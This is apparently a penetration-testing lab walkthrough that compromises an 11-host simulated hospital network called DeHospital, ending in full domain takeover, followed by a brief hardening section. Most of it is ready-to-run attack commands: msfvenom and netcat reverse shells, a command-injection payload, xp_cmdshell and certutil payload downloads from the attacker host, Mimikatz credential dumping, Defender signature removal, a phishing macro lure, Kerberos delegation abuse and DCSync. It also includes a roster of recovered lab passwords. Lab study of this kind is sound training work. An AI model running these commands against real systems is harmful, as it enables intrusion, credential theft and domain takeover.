SECLABS
OFFENSIVE SECURITY EXPERIENCED PENETRATION TESTER // DEHOSPITAL REPORT
🌐 Visit Store / More Guides ↗

DeHospital Multi-Tier Architecture & Attack Kill Chain

DMZ ZONE (DMZDEHOSPITAL.COM)
Web07 (IIS Entry & S4U)192.168.x.x
Web09 (Linux CMS & Cron)192.168.x.x
SQL02 (DMZ Database)172.16.82.x
TECH INTERNAL NETWORK (TECH.DEHOSPITAL.COM)
SQL03 (Tech MSSQL Link)172.16.x.x
Jump01 (Tech Jump Box)172.16.x.x
File02 (File Server)172.16.x.x
Client01 (Workstation)172.16.x.x
Client02 (Macro Phishing)172.16.x.x
INFRASTRUCTURE & MEDICAL DEVICES
Mgr01 (Ansible Controller)Linux SSH
EKG03 (Medical Controller)Linux SSH
CDC01 (Corporate DC)Domain Admin
⚡
Offensive Operations: 11-System Healthcare Campaign
Complete commands, exploit scripts, privilege escalation steps, and lateral pivots.
NODE 01WEB07
DMZ Entry Point: Web07 (Upload Magic-Bytes Bypass & Kerberos Ticket)
Bypass PDF upload restrictions in DeHospital CMS using magic bytes, deploy ASPX webshell, dump local Kerberos tickets and machine hash.
What's going on here

The DMZ IIS server hosts the DeHospital appointment management CMS. In /debug/upload.php, file uploads are restricted to PDF documents via client-side scripts and server-side magic byte inspection. Prefixing the payload with the PDF file signature %PDF-1.7 circumvents MIME type validation while IIS executes the appended .aspx payload.

Once initial code execution is obtained, checking token privileges reveals SeImpersonatePrivilege. Furthermore, harvesting Kerberos tickets from /tmp reveals an active ticket granting ticket for mary@dmzdehospital.com, while Kiwi/Mimikatz extracts the WEB07$ computer account hash.

1
Generate ASPX Meterpreter payload with PDF magic byte header:
# Craft payload with %PDF-1.7 magic bytes header
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f aspx > raw_shell.aspx
echo -n "%PDF-1.7" > shell.aspx
cat raw_shell.aspx >> shell.aspx

# Upload to /debug/upload.php and trigger reverse shell via /uploads/shell.aspx
Result: Bypasses content validation and delivers Meterpreter session under iis apppool\defaultapppool.
2
Extract Kerberos credentials and WEB07$ machine hash:
# In Meterpreter:
getprivs # Confirms SeImpersonatePrivilege enabled
load kiwi
creds_all
# Recovers WEB07$ NTLM hash: a9f8e4b7720914d...
# Export Linux Kerberos ticket found in /tmp/krb5cc_1933401114_PY29GB for mary@dmzdehospital.com
Discovery: mary@dmzdehospital.com holds widespread administrative rights across the internal network.

NODE 02WEB09
Web09: PHP Command Injection & Cron Sniffing (pspy)
Exploit OS command injection on Linux web interface, escalate privileges via Sudo GTFOBins, and sniff Mary's cleartext password.
What's going on here

Port 80 on Web09 exposes /debug/network_monitor.php. The target parameter executes shell commands directly without escaping. We trigger an interactive reverse shell, escalate to root via sudo find, and run pspy to monitor recurring tasks.

An automated script repeatedly runs bash -c echo 'ReekGreenOpal221' | kinit mary@dmzdehospital.com, revealing Mary's cleartext domain password: ReekGreenOpal221.

1
Trigger reverse shell via command injection in /debug/network_monitor.php:
curl -s -G "http://192.168.x.x/debug/network_monitor.php" \
  --data-urlencode "target=; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 443 >/tmp/f"
Result: Initial shell received on port 443 as www-data.
2
Privilege escalation to root and credential sniffing:
sudo -l
# Output: (ALL) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit

# Monitor recurring cron processes using pspy64:
./pspy64
# Captures: CMD: bash -c echo 'ReekGreenOpal221' | kinit mary@dmzdehospital.com
Credentials recovered: mary@dmzdehospital.com : ReekGreenOpal221.

NODE 03SQL02
SQL02: Constrained Delegation Pivot & S4U Impersonation
Abuse AllowedToDelegate on WEB07$ to impersonate Administrator on SQL02 over Chisel SOCKS tunnel.
What's going on here

BloodHound reveals that WEB07$ has constrained delegation rights (msDS-AllowedToDelegateTo) to cifs/sql02.dmzdehospital.com. Because SQL02 (172.16.82.x) resides on a non-routable internal subnet, we deploy a reverse SOCKS proxy via Chisel through Web07.

Using impacket-getST with WEB07$'s NTLM hash, we perform Kerberos S4U2Self and S4U2Proxy requests to forge a CIFS service ticket for Administrator, achieving remote execution on SQL02.

1
Establish Chisel reverse SOCKS tunnel through Web07:
# On Kali (Attacker):
chisel server -p 8000 --reverse

# On Web07:
.\chisel.exe client 10.10.14.5:8000 R:2222:socks
# Configure /etc/proxychains4.conf with: socks5 127.0.0.1 2222
Pivoting: Directs Kali traffic through Web07 into the internal 172.16.82.0/24 subnet.
2
Execute Kerberos Constrained Delegation attack and enter SQL02:
proxychains impacket-getTGT DMZDEHOSPITAL.COM/WEB07$ -hashes :a9f8e4b7720914d...
export KRB5CCNAME=WEB07$.ccache

proxychains impacket-getST -k -no-pass -spn cifs/sql02.dmzdehospital.com -impersonate Administrator DMZDEHOSPITAL.COM/WEB07$
export KRB5CCNAME=Administrator@cifs_sql02.dmzdehospital.com@DMZDEHOSPITAL.COM.ccache

proxychains impacket-psexec administrator@sql02.dmzdehospital.com -k -no-pass -target-ip 172.16.82.x
Result: Full SYSTEM access on SQL02. Running secretsdump yields sql02@dmzdehospital.com:YellowRoyalNo31.

NODE 04SQL03
SQL03: Cross-Network Database Link & PrintSpoofer SYSTEM
Pivot through an MSSQL linked server to execute commands on SQL03, escalate to SYSTEM via PrintSpoofer, and dump LSA secrets.
What's going on here

The MSSQL database on SQL02 contains a linked server pointing to SQL03.TECH.DEHOSPITAL.COM in the corporate network. Connecting via impacket-mssqlclient, we invoke use_link [SQL03.TECH.DEHOSPITAL.COM], execute as sa, enable xp_cmdshell, and obtain a reverse shell.

The service account possesses SeImpersonatePrivilege. Running PrintSpoofer64.exe abuses the Named Pipe Spooler service to elevate to NT AUTHORITY\SYSTEM, and Kiwi's lsadump::secrets recovers the service credentials: zen@tech.dehospital.com : NoodlePizzaBlack28.

1
Traverse linked server and enable xp_cmdshell on SQL03:
proxychains impacket-mssqlclient DMZDEHOSPITAL.COM/sql02:YellowRoyalNo31@172.16.82.x -windows-auth

# Inside MSSQL Shell:
enum_links
use_link [SQL03.TECH.DEHOSPITAL.COM]
exec_as_login sa
enable_xp_cmdshell
xp_cmdshell "powershell -c (New-Object Net.WebClient).DownloadFile('http://10.10.14.5:8000/nc64.exe','C:\Windows\Temp\nc.exe'); C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
Result: Reverse shell received from SQL03 under service account context.
2
Privilege escalation with PrintSpoofer and LSA secrets extraction:
C:\Windows\Temp\PrintSpoofer64.exe -i -c cmd
# Elevated to NT AUTHORITY\SYSTEM

# Dump LSA Service Secrets:
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"
# Recovers: zen@tech.dehospital.com : NoodlePizzaBlack28
Credentials recovered: zen@tech.dehospital.com : NoodlePizzaBlack28.

NODE 05JUMP01
Jump01: Defender Bypass & Mimikatz Memory Extraction
Access Jump01 using Zen credentials, disable Windows Defender definition updates, and dump plaintext credentials for Ben.
What's going on here

Account zen has administrative rights on JUMP01.TECH.DEHOSPITAL.COM. Before executing Mimikatz, Windows Defender signatures are stripped using the native command MpCmdRun.exe -removedefinitions -all.

Running sekurlsa::logonpasswords extracts the plaintext password for user ben@tech.dehospital.com : LoveHateJello312 and an SSH private key located in C:\Users\ben\.ssh\id_rsa.

1
Authenticate to Jump01, strip Defender definitions, and run Mimikatz:
proxychains impacket-psexec TECH.DEHOSPITAL.COM/zen:NoodlePizzaBlack28@JUMP01.TECH.DEHOSPITAL.COM

# Strip Defender definitions:
"C:\Program Files\Windows Defender\MpCmdRun.exe" -removedefinitions -all

# Dump memory passwords:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# User: ben | Password: LoveHateJello312
Credentials recovered: ben@tech.dehospital.com : LoveHateJello312 + SSH private key.

NODE 06 · 07FILE02 / CLIENT01
File02 & Client01: ProAdmins Lateral Movement & Susan's Creds
Validate Mary's SMB administrative access over File02 and Client01 to recover Susan's credentials.
What's going on here

Mary's credentials (ReekGreenOpal221) grant SMB administrative execution on File02 and Client01 (due to her membership in PROADMINS@DEHOSPITAL.COM).

On Client01, dumping LSA secrets reveals Susan's default credentials: susan@dehospital.com : PurpleFishBus32.

1
Compromise Client01 and dump Susan's credentials:
proxychains impacket-smbexec dmzdehospital.com/mary:ReekGreenOpal221@CLIENT01.DEHOSPITAL.COM

# Stage and run Meterpreter payload via Certutil:
certutil -urlcache -f http://10.10.14.5:8000/payload.exe C:\Windows\Temp\payload.exe
C:\Windows\Temp\payload.exe

# In Meterpreter:
load kiwi
kiwi_cmd lsadump::secrets
# Extracted: susan : PurpleFishBus32
Credentials recovered: susan@dehospital.com : PurpleFishBus32.

NODE 08CLIENT02
Client02: Internal Macro Phishing & BTAGService DACL Abuse
Deliver weaponized Word macro to Paul via internal SMTP, catch reverse shell, and abuse BTAGService permissions to gain SYSTEM.
What's going on here

Inspecting Susan's Outlook archive on Client01 reveals an upcoming report exchange with paul@dehospital.com. We craft a macro-enabled Word document embedded with an obfuscated PowerShell reverse shell and deliver it via internal SMTP using sendemail.

Upon Paul opening the document, a reverse shell connects back from Client02. Running WinPEAS identifies weak service permissions on BTAGService (unprivileged users can modify service configuration). Updating binpath to our executable and restarting the service provides NT AUTHORITY\SYSTEM.

1
Deliver phishing macro document to Paul:
# Send internal phishing lure:
proxychains sendemail -t paul@dehospital.com -f susan@dehospital.com \
  -s 172.16.x.x -m "Please review the updated medical report." \
  -u "Urgent Report" -a report.docm
Shell connection: Catch reverse shell on port 443 under Paul's user session.
2
Abuse BTAGService permissions to escalate to SYSTEM:
sc config BTAGService binpath="C:\Windows\Temp\payload.exe"
sc config BTAGService start="auto"
sc stop BTAGService
sc start BTAGService
Elevation: BTAGService starts as SYSTEM, executing our binary and delivering a SYSTEM shell.

NODE 09MGR01
Mgr01: SSH Spray, Ansible Playbook Sudo & Vault Cracking
Authenticate to Mgr01 via Ben's SSH key, escalate privileges with Ansible Playbook, and crack Ansible Vault passwords.
What's going on here

Spraying Ben's SSH key across port 22 targets unlocks access to mgr01.tech.dehospital.com. Checking sudo privileges (sudo -l) reveals NOPASSWD: /usr/bin/ansible-playbook.

Following GTFOBins, we execute a custom playbook to spawn root. We extract myvault.yml and crack the Ansible Vault encryption using ansible2john.py and John the Ripper to obtain credentials for ansiblesvc.

1
Log in via SSH and escalate to root using Ansible:
ssh ben@tech.dehospital.com@mgr01.tech.dehospital.com -i id_rsa

# Escalate to root via sudo ansible-playbook:
TF=$(mktemp)
echo '[{hosts: localhost, fires: true, tasks: [ansible.builtin.shell: /bin/sh /dev/tty 2>&1]}]' > $TF
sudo ansible-playbook $TF
Result: Interactive root shell on mgr01.
2
Extract and crack myvault.yml:
ansible2john.py myvault.yml > vault.hash
john vault.hash --wordlist=/usr/share/wordlists/rockyou.txt
ansible-vault view myvault.yml
Credentials recovered: SSH key and credentials for ansiblesvc@tech.dehospital.com.

NODE 10 · 11EKG03 / CDC01
EKG03 & CDC01: Henry Domain Admin Ticket & Full Takeover
Extract Henry's Domain Admin Kerberos ticket from EKG03, double-pivot to CDC01, and capture domain secret flags.
What's going on here

Logging into ekg03 as ansiblesvc, we find sudo -l allows (ALL) NOPASSWD: ALL. Elevating to root, we discover a cached Kerberos credential ticket in /tmp belonging to TECH\henry.

BloodHound confirms Henry is a member of Domain Admins for tech.dehospital.com with direct administrative authority over the primary Domain Controller: CDC01.

Exporting Henry's ticket and pivoting through our established Chisel tunnels, we execute impacket-secretsdump against CDC01, dumping the entire Active Directory NTDS.dit database and retrieving secret.txt, proof.txt, and local.txt.

1
Compromise EKG03 and harvest Henry's Domain Admin ticket:
ssh ansiblesvc@tech.dehospital.com@ekg03 -i id_rsa
sudo su

# Harvest Henry's Kerberos ccache ticket:
cp /tmp/krb5cc_1001 /tmp/henry.ccache
# Recover SSH key in C:\Users\henry\.ssh
Credentials recovered: Domain Admin Kerberos ticket for TECH\henry + password WhiteRubyBike431.
2
Execute DCSync against CDC01 and capture the final flags:
export KRB5CCNAME=henry.ccache
proxychains impacket-secretsdump -k -no-pass CDC01.TECH.DEHOSPITAL.COM

# Remote interactive shell on CDC01:
proxychains impacket-psexec henry@CDC01.TECH.DEHOSPITAL.COM -k -no-pass

type C:\Users\Administrator\Desktop\secret.txt
type C:\Users\Administrator\Desktop\proof.txt
🚩
Master Campaign Compromise: secret.txt, proof.txt, and local.txt captured. Complete Active Directory takeover validated.

SUMMARYCREDENTIALS
Master DeHospital Credential Roster
Consolidated table of all recovered domain users, service accounts, and hashes.
Account Domain / System Type Password / Secret Privilege Level
WEB07$ dmzdehospital.com Machine Hash a9f8e4b7720914d... Constrained Delegation to SQL02
mary dmzdehospital.com Cleartext ReekGreenOpal221 Admin on File02 & Client01
sql02 dmzdehospital.com Cleartext YellowRoyalNo31 MSSQL Linked Server to SQL03
zen tech.dehospital.com Cleartext NoodlePizzaBlack28 Local Admin on Jump01
ben tech.dehospital.com Cleartext + SSH LoveHateJello312 SSH Access to Mgr01
susan dehospital.com Cleartext PurpleFishBus32 Internal Email & RDP User
ansiblesvc tech.dehospital.com SSH Key myvault.yml Decrypted Sudo ALL on EKG03
henry tech.dehospital.com Kerberos TGT + Clear WhiteRubyBike431 Domain Admin (Full Forest)
🛡
Defense Phase: Enterprise Hardening & Remediation
Concrete configuration changes, GPO enforcements, ACL audits, and detection engineering rules.
DEFENSED1 · WEB
DMZ Perimeter & Web Application Hardening
Enforce deep content validation on file uploads, isolate upload directories, and sanitize OS command inputs.
Remediation Guidelines

1. Strict File Upload Validation: Never rely on file signatures (magic bytes) alone. Validate file extensions against a strict allowlist, re-encode uploaded media files server-side using libraries like ImageMagick, and store all uploads in a non-executable storage container outside the web document root.

2. Eliminate Direct Shell Execution: Replace system() and exec() calls in PHP administrative scripts with native language APIs or use escapeshellarg() / proc_open() with parameter arrays to neutralize command injection.

DEFENSED2 · DELEGATION
Kerberos Delegation & MSSQL Database Link Hardening
Revoke dangerous delegation flags on DMZ assets and restrict linked server impersonation.
Remediation Guidelines

1. Eliminate Cross-Boundary Kerberos Delegation: DMZ computer accounts (like WEB07$) must never possess AllowedToDelegate rights to internal corporate database servers. Isolate DMZ authentication traffic from the internal forest.

2. Secure MSSQL Linked Servers: Configure linked database servers to connect using minimal, non-administrative database logins. Never configure linked servers with "Be made using this security context: sa". Disable xp_cmdshell enterprise-wide:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;
DEFENSED3 · SERVICES
Windows Service Security & Token Privilege Isolation
Remediate weak service permissions and restrict SeImpersonatePrivilege.
Remediation Guidelines

1. Audit Service DACLs: Verify service permissions using AccessChk or PowerShell. Ensure non-administrative users do not possess SERVICE_CHANGE_CONFIG on services like BTAGService.

2. Restrict SeImpersonatePrivilege: Remove SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege from non-essential service accounts via Local Security Policy (`User Rights Assignment`). Run database services under Virtual Service Accounts (VSA) or Managed Service Accounts (gMSA).

DEFENSED4 · PHISHING
Office Macro Mitigation & Email Security
Block Office macros enterprise-wide and configure mail gateway authentication.
Remediation Guidelines

1. Enforce Macro Blocking via GPO: Enable the Group Policy setting Block macros from running in Office files from the Internet under User Configuration -> Administrative Templates -> Microsoft Office 2016 -> Security Settings.

2. Internal SMTP Relay Hardening: Configure internal SMTP mail relays to enforce authentication and verify that sender headers match the authenticated user identity, preventing internal spoofing lures.

DEFENSED5 · SECRETS
Linux Sudo Least-Privilege & Secrets Management
Eliminate wildcard sudo rules, secure Ansible vault keys, and stop plaintext password piping.
Remediation Guidelines

1. Eliminate GTFOBins Sudo Entries: Never grant NOPASSWD sudo permissions to interpreters or tools capable of shell escapes (such as ansible-playbook or find).

2. Prevent Cleartext Credentials in Scripts: Replace interactive cleartext pipes to kinit (e.g. echo pass | kinit) with Kerberos keytabs stored with chmod 600 and restricted to dedicated service users.

3. Ansible Vault Security: Secure Ansible vault keys using external Key Management Services (AWS KMS, HashiCorp Vault) rather than storing static password hashes locally on disk.

Enlarged evidence preview